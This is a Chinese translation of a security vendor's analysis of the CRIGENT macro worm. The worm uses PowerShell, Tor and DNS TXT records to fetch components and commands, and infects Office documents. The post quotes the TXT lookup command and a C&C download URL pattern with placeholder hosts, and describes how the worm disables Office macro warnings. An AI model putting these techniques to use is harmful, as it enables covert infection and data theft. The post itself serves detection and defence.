針對 Word 和 Excel 檔案的病毒家族CRIGENT,利用Windows PowerShell執行惡意行為

利用Windows PowerShell感染 Word和 Excel檔案

惡意軟體已經針對 Word和 Excel檔案有好一段日子了,但趨勢科技最近看到一個新的惡意軟體家族 – CRIGENT(也被稱為「Power Worm」)帶來了一些新的技術。(趨勢科技將這些檔案偵測為W97M_CRIGENT.JERX97M_CRIGENT.A。)

最引人注意的並不是建立或包含可執行程式碼,而是 CRIGENT 利用Windows PowerShell來執行其程序。PowerShell是一個功能強大的互動式 shell/腳本工具,可用在Windows的所有現行版本上(而且從Windows 7開始內建);該惡意軟體會透過PowerShell腳本來進行所有行為。因為IT管理員通常會找的是惡意二進位檔而可能會忽略掉它,因為使用這種技術的惡意軟體並不常見。

到達及其他組件

這種威脅會透過一個受感染的Word或Excel文件到達,可能是由其他惡意軟體所植入,或是經由使用者下載/存取。一旦打開,它會馬上從兩個著名的網路匿名專案下載另外兩個組件:Tor 網路以及Polipo,一個個人網頁快取/代理伺服器。

攻擊者會去掩飾這兩個檔案(經由變更它們的檔名),並且隱藏DNS記錄來掩蓋這些檔案的來源。這些檔案放在正常的雲端檔案儲存服務上(在此案例中是Dropbox和OneDrive)。這些檔案的網址被隱藏在DNS記錄中。這是如何做到的?

他會存取兩個不同網域的DNS記錄,並且在每個網域內建立一個子網域。不過他沒有將子網域對應到任何特定的IP地址。相反地,他儲存文字在DNS記錄中,再特別去查詢TXT記錄。(為了逃避本地端的DNS攔截,他會直接查詢Google的公共DNS伺服器),Windows內執行的命令是:

  • nslookup -querytype=TXT {malicious domain} 8.8.8.8

每兩個查詢都會帶回字串,包含了指向正常雲端儲存供應商的網址。其中一個連結指向Dropbox,另外一個指向微軟OneDrive。對於檢查網路流量而沒有查看實際檔案的人來說,只會看到一對連向Google公共DNS伺服器的DNS查詢,並從兩個著名的雲端服務下載檔案。兩者都沒有什麼可疑之處。

命令與控制

利用已安裝的Tor和Polipo軟體,它會存取其命令和控制伺服器。它所用的網址包含兩個GUID,如下所示:

  • {C&C server}/get.php?s=setup&mom={GUID #1}&uid={GUID #2}

 

奇怪的是,如果用缺少或不正確的GUID連上上述網站,C&C伺服器會出現下面這用德文所寫的輕微髒話:

 

圖一、C&C伺服器

 

不過,如果字串正確,就會下載一個PowerShell腳本(偵測為VBS_CRIGENT.LKVBS_CRIGENT.SM),其中包含所有進行CRIGENT惡意行為的必要程式碼。一開始,會送回下列使用者系統的相關資料給C&C伺服器:

 

  • IP地址
  • 國家代碼
  • 國家名稱
  • 地區代碼
  • 區域名稱
  • 城市
  • 郵政編碼
  • 緯度
  • 使用者帳號權限
  • 作業系統版本
  • 作業系統架構
  • 網域
  • 作業系統語言
  • 微軟Office應用程式
  • 微軟Office版本

 

除了上述行為,此腳本也會在每次系統啟動時聯絡伺服器以取得命令。有關Polipo和Tor的端口也都會打開。

 

感染Word和Excel檔案

 

下載的PowerShell腳本還包含必要程式碼來用惡意CRIGENT程式碼感染其他Word和Excel文件。要做到這一點,它會用PowerShell腳本來修改註冊表,從而降低微軟Office的安全設定。

圖二、腳本修改註冊表

 

然後在所有可用磁碟搜尋Microsoft Word或Microsoft Excel文件檔案 – *.DOC,*.DOCX,*.XLS和*.XLSX。它也會關閉被感染檔案的「警告」和「巨集」以避免通知使用者。

 

所有現存的DOCX和XLSX檔案都會被轉換成之前的DOC和XLS格式,原本的文件則會被刪除。一個Visual Basic模組(包含了惡意巨集)會被建立,並且和所有的DOC和XLS檔案一起被儲存。打開任何一個其中檔案都會重新啟動這感染鏈。

 

 

 

 

圖三、腳本搜尋Word/Excel檔案

 

除了會危害受感染系統的安全性,CRIGENT也會感染文件(其中可能包含重要的資料),並且可能會讓它們變成無用,因為其新的「格式」。企業和個人使用者可能會因此失去重要的資料。

 

偵測CRIGENT

 

有幾種方法來偵測網路內的CRIGENT存在。首先,Polipo和Tor出現在內部網路就應該是可疑的。我們之前討論過如何偵測和封鎖Tor流量。這是網路管理者可以考慮用來尋找和阻止CRIGENT及其他使用Tor威脅的方式。

 

此外,值得一提的是,CRIGENT會將感染的檔案以副檔名 – DOC和XLS儲存,而不是預設的檔案類型。Office從版本2007開始就用DOCX和XLSX作為預設的副檔名,同時支援早期的檔案格式以做到向下相容。所以如果出現大量使用舊格式的新檔案就可能是出現CRIGENT的訊號。

 

我們在2014年的安全預測中指出,網路犯罪份子會使用Tor來更深地隱藏自己的活動,這裡就是一個好例子。他們還利用了PowerShell,一個從Windows 7開始的主要功能來進行其行為。再加上了使用正常的雲端儲存網站,更強調出網路犯罪分子是如何地利用正常服務和功能在他們的攻擊上。

 

趨勢科技會封鎖所有相關網址和偵測相關惡意軟來體來保護使用者免於此惡意軟體。

 

更新

一些用在此次攻擊中的檔案雜湊值是:

  • DE59D4F265599C1931807DF6D506BA11E1DBA2DC
  • FFEF3D961C9729660A0009AFC8A149800B84D8F1

 

@原文出處:Word and Excel Files Infected Using Windows PowerShell 作者:Alvin John Nieto(威脅反應工程師)